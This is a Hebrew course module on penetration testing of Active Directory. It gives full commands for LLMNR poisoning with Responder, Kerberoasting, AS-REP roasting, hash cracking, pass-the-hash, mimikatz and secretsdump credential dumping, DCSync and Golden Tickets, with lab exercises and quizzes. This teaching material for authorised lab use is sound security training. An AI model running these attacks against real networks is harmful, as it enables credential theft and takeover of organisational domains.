

מודול 13 — Active Directory

חומר לימוד

1 יחידות

תוכן העניינים

1. מודול 13 — Active Directory (AD)

■ הכול בגלילה אחת: כל החומר של המודול בקובץ אחד — חומר לימוד, תרגילים, תרגול ופתרונות, ברצף.

🎬 **מודול מעשי (בענן) + הדגמה מקומית!** מעבדת AD מלאה רצה ב-TryHackMe (ראו אזהרת הזיכרון למטה) — שם תבצעו את כל התקיפות על DC אמיתי. אבל שלב ה-Looting אפשר לתרגל כאן ועכשיו: תפצחו קובץ NTLM hashes אמיתי (ntlm_hashes.txt , בפורמט secretsdump) עם hashcat/John. אחרי כל נושא: 🧠 בדוק את עצמך.

מודול 13 — Active Directory (AD)

מטרות המודול: לתקוף את הטכנולוגיה שמנהלת את רוב הארגונים בעולם — Microsoft Active Directory. נלמד את מבנה ה-Domain, נבצע (BloodHound) Enumeration, ונשלוט בהתקפות המפתח: AS-REP Roasting, LLMNR Poisoning, Kerberoasting, Pass-the-Hash ו-AS-REP Roasting — עד להשתלטות על ה-Domain Controller (Domain Admin).

קבצים: README.md · missions.md · solutions.md · practice.md · slides.md.

⚠️ **דרישת מעבדה — קרא לפני שתתחיל!** מעבדת AD דורשת **Domain Controller (Windows Server)** מכוונת לקוח (Windows 10) במקביל — סה"כ **12GB+ RAM**. אם למחשב שלך אין מספיק זיכרון, תרגל בענן: חדרי *Attacktive Directory, Post-Exploitation Basics* — TryHackMe, ומסלול "Active Directory" — נותנים סביבת AD מלאה ללא צורך בחומרה מקומית. זו הדרך המומלצת ללמד את המודול הזה.

תוכן העניינים

1. מהו Active Directory
2. מבנה ומושגי יסוד
3. הקמת מעבדת AD (או ענן)
4. Enumeration של הדומיין
5. LLMNR / NBT-NS Poisoning
6. Kerberoasting
7. AS-REP Roasting
8. Pass-the-Hash ו-Pass-the-Ticket

13.1 מהו Active Directory

Active Directory (AD) הוא שירות הספרייה של Microsoft לניהול רשתות ארגוניות. הוא מנהל **משתמשים**, **מחשבים**, **הרשאות ומדיניות** ממקום מרכזי אחד — ה-**Domain Controller (DC)**.

למה זה הנושא הכי חשוב בבדיקות חדירה פנימיות? - ~95% מחברות Fortune 500 משתמשות ב-AD. - כמעט כל בדיקת חדירה פנימית (Internal Pentest) היא, בפועל, **תקיפת AD**. - השתלטות על ה-DC = שליטה על כל המשתמשים והמחשבים בארגון.

🎯 המטרה במודול: **משתמש דומיין רגיל** (או אפילו ללא אישורים) → **Domain Admin**.

13.2 מבנה ומושגי יסוד

מושג	הסבר
Domain	גבול ניהולי לוגי (corp.local)
Domain Controller (DC)	השרת שמריץ את AD; מאמת התחברויות
Forest	אוסף דומיינים
OU (Organizational Unit)	“תיקייה” לארגון אובייקטים
GPO (Group Policy)	מדיניות שנאכפת על מחשבים/משתמשים
Kerberos	פרוטוקול האימות המרכזי (Tickets)
NTLM	פרוטוקול אימות ישן יותר (Hashes)
SPN	Service Principal Name — מזהה שירות (מפתח ל-Kerberoasting)

איך עובד אימות **Kerberos** (בקצרה): 1. המשתמש מבקש **TGT** (Ticket Granting Ticket) מה-DC (שירות KDC). 2. עם ה-TGT, המשתמש מבקש **TGS** (Service Ticket) לשירות מסוים. 3. מציג את ה-TGS לשירות → גישה.

💡 רוב התקיפות מנצלות **חולשות בתכנון Kerberos/NTLM** ובהגדרות שגויות — לא “באגים”. זו הסיבה ש-AD כה פגיע: המורכבות עצמה היא משטח התקיפה.

13.3 הקמת מעבדת AD (או ענן)

☁️ אפשרות א' — ענן (מומלץ אם RAM מוגבל)

- **TryHackMe** — *Attacktive Directory, Attacking Kerberos*, מסלול *Active Directory* מלא. סביבה מוכנה, ללא חומרה.
- **HackTheBox** — Pro Labs (Dante, Zephyr) עם AD מלא.

אפשרות ב' — מקומי (דורש RAM 12GB+)

- **DC:** Windows Server 2019 (`dcpromo` → מתקין AD DS).
- **לקוחות:** 1–2 מכונות Windows 10 מחוברות לדומיין.
- כלי אוטומציה להקמה: **GOAD — Game of Active Directory** (מעבדה פגיעה מוכנה).

הכלים על Kali (התוקף)

```
# רוב הכלים מותקנים או זמינים:
impacket-scripts      # GetUserSPNs, secretsdump, psexec, wmiexec...
crackmapexec / nxc     # AD הסכין השווצרי" של"
bloodhound + neo4j     # מיפוי נתיבי תקיפה
responder              # LLMNR poisoning
evil-winrm             # shell מרוחק ל Windows
```

13.4 Enumeration של הדומיין

מתחילים באיסוף מידע על הדומיין:

```
# SMB/LDAP-ללא אישורים – מידע ראשוני מ
crackmapexec smb <dc-ip>                               # שם דומיין, גרסה hostname
enum4linux-ng -A <dc-ip>                                # משתמשים, shares, policy
nmap -p 88,389,445,636 -sV <dc-ip>                      # DC ports (Kerberos=88, LDAP=389)

# עם אישורי משתמש רגיל:
crackmapexec smb <dc-ip> -u user -p pass --users --groups --shares
GetADUsers.py corp.local/user:pass -all                 # רשימת משתמשים
```

גם משתמש דומיין **הכי מוגבל** יכול לתשאל את כל AD (LDAP) — זו "תכונה", לא באג. משם מתחילים לבנות את נתיב התקיפה.

LLMNR / NBT-NS Poisoning 13.5

התקיפה הראשונה בכל בדיקה פנימית — לרוב לא צריך אפילו אישורים.

הרעיון: כשמחשב Windows מחפש שם שלא נמצא ב-DNS, הוא "צועק" לרשת בפרוטוקולים **LLMNR/NBT-NS**: "מי זה FILESERVER?". התוקף עונה "אני!" — והקורבן שולח לו את ה-NTLMv2 hash שלו.

```
# מרעיל" את הרשת" – Responder הפעלה:
sudo responder -I eth0 -dwv
# נלכד hash-ממתין; כשמשתמש ניגש לשם שגוי, ה ←
```

את ה-hash שנלכד → **מפצחים** (מודול 8):

```
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
```

LLMNR Poisoning הוא **נקודת הכניסה** הקלאסית: מ"אין כלום" ל"אישורי משתמש ראשונים" — לרוב תוך דקות ברשת ארגונית אמיתית.

בדוק את עצמך: מה משיג התוקף מ-LLMNR/NBT-NS Poisoning עם Responder? (א) גישת Domain Admin מיידית (ב) את ה-NTLMv2 hash של משתמש שניסה לגשת לשם שגוי — לפיצוח offline (ג) את סיסמת ה-krbtgt

✓ **תשובה: ב** — Responder מתחזה לשרת ולוכד את ה-NTLMv2 hash שהקורבן שולח. אותו מפצחים (mode 5600) כדי לקבל אישורי משתמש ראשונים.

Kerberoasting 13.6

התקיפה הכי מתגמלת כשיש לך כבר אישורי משתמש דומיין (כל משתמש!).

הרעיון: כל חשבון שירות עם SPN מנפיק **TGS ticket** מוצפן ב-hash של סיסמת השירות. כל משתמש דומיין יכול לבקש את ה-tickets האלה — ואז לפצח אותם offline.

```
# של חשבונות שירות TGS-בקשת כל ה
GetUserSPNs.py corp.local/user:pass -dc-ip <dc-ip> -request
# עם crackmapexec:
crackmapexec ldap <dc-ip> -u user -p pass --kerberoasting out.txt

# tickets offline-פיצוח ה
hashcat -m 13100 tickets.txt /usr/share/wordlists/rockyou.txt
```

חשבונות שירות לרוב עם סיסמאות **ישנות וחלשות** ולעיתים הרשאות גבוהות → הסלמה משמעותית.

Kerberoasting הוא ה"מנצח" של רוב בדיקות ה-AD: שקט (לא נוגע ב-DC ישירות בצורה חשודה), אמין, ולעיתים מוביל ישר ל-Domain Admin.

בדוק את עצמך: מדוע כל משתמש דומיין (גם מוגבל) יכול לבצע Kerberoasting? (א - כי כולם Domain Admins - ב) כי כל משתמש מאומת רשאי לבקש TGS של חשבונות שירות (SPN), וה-TGS מוצפן בסיסמת השירות — שנפצחת offline - ג) כי ה-DC פגיע לבאג

תשובה: ב — זו "תכונה" של Kerberos: כל משתמש יכול לבקש service ticket. ה-TGS מוצפן ב-hash סיסמת השירות, וניתן לפצח אותו offline בלי לגעת שוב ב-DC.

AS-REP Roasting 13.7

וריאנט של Kerberoasting לחשבונות עם **"Do not require Kerberos preauthentication"** מסומן.

הרעיון: לחשבונות כאלה, ה-DC ישלח חלק מוצפן (AS-REP) **ללא** שהמשתמש יוכיח את זהותו — כלומר, אפשר לבקש אותו **ללא סיסמה** ולפצח offline.

```
# (אפשר גם ללא אישורים אם יש רשימת שמות) hash-מציאת חשבונות פגיעים ובקשת ה
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip <dc-ip>
# פיצוח:
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

AS-REP Roasting לא דורש אפילו אישורים תקפים — רק שמות משתמש. לכן הוא נבדק מוקדם מאוד בבדיקה. 💡

Pass-the-Ticket ו Pass-the-Hash 13.8

לא תמיד צריך לפצח סיסמה — לעיתים אפשר להשתמש ב-hash עצמו.

Pass-the-Hash (PtH)

עם NTLM hash של משתמש (מ-mimikatz/secretsdump) — מתחברים בלי לדעת את הסיסמה:

```
crackmapexec smb <target> -u admin -H <NTLM-hash>
psexec.py -hashes :<NTLM-hash> admin@<target>
evil-winrm -i <target> -u admin -H <NTLM-hash>
```

Pass-the-Ticket (PtT)

“גונבים” TGT/TGS מזיכרון ומשתמשים בו ישירות (עם mimikatz / Rubeus).

שליפת hashes ממכונה שנפרצה

```
secretsdump.py corp.local/admin:pass@<target> # שולף SAM + LSA
# mimikatz: sekurlsa::logonpasswords / lsadump::sam
```

🎯 Pass-the-Hash הוא הלב של תנועה רוחבית ב-hash AD של Local Admin משותף בין מכונות → קופצים ממחשב למחשב עד ל-DC.

🚩 הדגמה — נסה בעצמך: פצח NTLM Hashes של הדומיין (Looting)

אחרי DCSync/ secretsdump מקבלים קובץ hashes. נפצח אותו כאן — מקומית, בלי DC.

הרקע: הקובץ ntlm_hashes.txt הוא פלט טיפוסי של secretsdump.py — פורמט user:rid:LM:NT::: . נחליץ את ה-NT hashes ונפצח.

צעד 1 — הצץ בקובץ:

```
cat ntlm_hashes.txt
```

👁️ שלושה חשבונות (כולל Administrator), כל אחד עם NTLM hash.

צעד 2 — פצח עם John (מזהה את פורמט secretsdump אוטומטית):

```
john --format=nt ntlm_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --format=nt ntlm_hashes.txt --show
```

או עם Hashcat (mode 1000 = NTLM). Hashcat מצפה ל-hash “נקי”, לכן קודם מחלצים רק את עמודת ה-NT (עמודה 4):

```
cut -d: -f4 ntlm_hashes.txt > nt_only.txt # hashes-NT שולף רק את ה
hashcat -m 1000 nt_only.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 nt_only.txt --show
```

👁️ הסיסמאות מתפצחות: jsmith=princess , sqlservice=sunshine , Administrator=iloveyou — כולן חלשות.

צעד 3 — Pass-the-Hash (בלי לפצח בכלל!): לתנועה רוחבית לא חייבים את הסיסמה — משתמשים ב-hash עצמו:

```
crackmapexec smb <DC> -u Administrator -H b963c57010f218edc2cc3c229b5e4d0f
```

(דורש DC — הרץ בסביבת TryHackMe).

🎯 מה קרה כאן: NTLM הוא MD4 של הסיסמה, ללא Salt ואיטיות — לכן חלש. סיסמאות חלשות נופלות בשניות. **הגנה:** סיסמאות ארוכות, Managed Service Accounts, וניטור. שים לב: ב-Pass-the-Hash אפילו לא צריך לפצח.

🧠 **בדוק את עצמך:** מדוע NTLM hashes נחשבים חלשים יחסית לפיצוח? (א) הם ארוכים מדי - (ב) הם MD4 של הסיסמה — ללא Salt וללא האטה — כך שאפשר לנסות מיליארדי ניחושים בשנייה - (ג) אי אפשר לפצח אותם כלל

✅ **תשובה: ב** — NTLM = MD4 בלי Salt ובלי work-factor. אין הגנה מפני GPU, ואין הבדל בין שני משתמשים עם אותה סיסמה. סיסמה חלשה = פיצוח מיידי.

BloodHound 13.9 — מיפוי נתיבי תקיפה

BloodHound אוסף את כל יחסי ה-AD (מי חבר בקבוצה, מי Admin על מה) ומצייר גרף — כולל את “הנתיב הקצר ביותר ל-Domain Admin”.

```
# (על מכונה SharpHound עם אישורים, או Kali-מ) איסוף הנתונים:
bloodhound-python -u user -p pass -d corp.local -ns <dc-ip> -c All
# ומריצים שאלות (neo4j) BloodHound GUI ל-JSON-טוענים את ה
# "Shortest Path to Domain Admins"
# "Find Kerberoastable Accounts"
```

BloodHound הפך את תקיפת AD מ"אמנות" ל"מדע": במקום לנחש, אתה **רואה** בדיוק איזו שרשרת הרשאות מובילה ל-Domain Admin. כלי חובה. 🔍

13.10 הגעה ל-Domain Admin ו-DCSync

השלב הסופי — אחרי שהשגת חשבון בעל הרשאות גבוהות (דרך אחת התקיפות למעלה):

DCSync

מדמה DC ומבקש מה-DC האמיתי **לשכפל** את מסד הנתונים של הסיסמאות — כולל ה-hash של **krbtgt** ושל **Administrator**:

```
secretsdump.py corp.local/DAuser:pass@<dc-ip>
# mimikatz: lsadump::dcsync /user:Administrator
```

Golden Ticket

עם ה-hash של **krbtgt**, יוצרים TGT מזויף שמעניק גישה **לכל שירות, כל משתמש, לתמיד** — שליטה מוחלטת בדומיין (Persistence עמוק).

```
# שרשרת מלאה טיפוסית:
LLMNR/Responder → hash → crack → משתמש דומיין
→ Kerberoast → הרשאות גבוהות → סיסמת שירות →
→ BloodHound → מראה נתיב → DCSync → hash של Administrator
→ Pass-the-Hash ל-DC → Domain Admin 🏆
```

🏆 השגת "Game Over" = **Domain Admin** בבדיקת AD. משם שולטים בכל הארגון. זה היעד של כל בדיקת חדירה פנימית ושל בחינות PNPT/OSCP.

סיכום המודול

• **Active Directory** מנהל את רוב הארגונים; בדיקה פנימית = תקיפת AD.

- **Enumeration:** crackmapexec, enum4linux, BloodHound — גם משתמש מוגבל מתשאל את כל AD.
- **LLMNR Poisoning** (Responder) = נקודת כניסה ללא אישורים.
- **Kerberoasting / AS-REP Roasting** = בקשת tickets ופיצוח offline.
- **Pass-the-Hash / Pass-the-Ticket** = תנועה רוחבית ללא סיסמה.
- **BloodHound** מצייר את הנהיג ל-**DCSync + Golden Ticket**; Domain Admin = שליטה מלאה.

מה הלאה?

→ **missions.md** — תרגילים · פתרונות — **solutions.md** · תרגול ותרמישים — **practice.md** →

מודול 14 — תקיפות אלוטיות

← חזרה למפת הקורס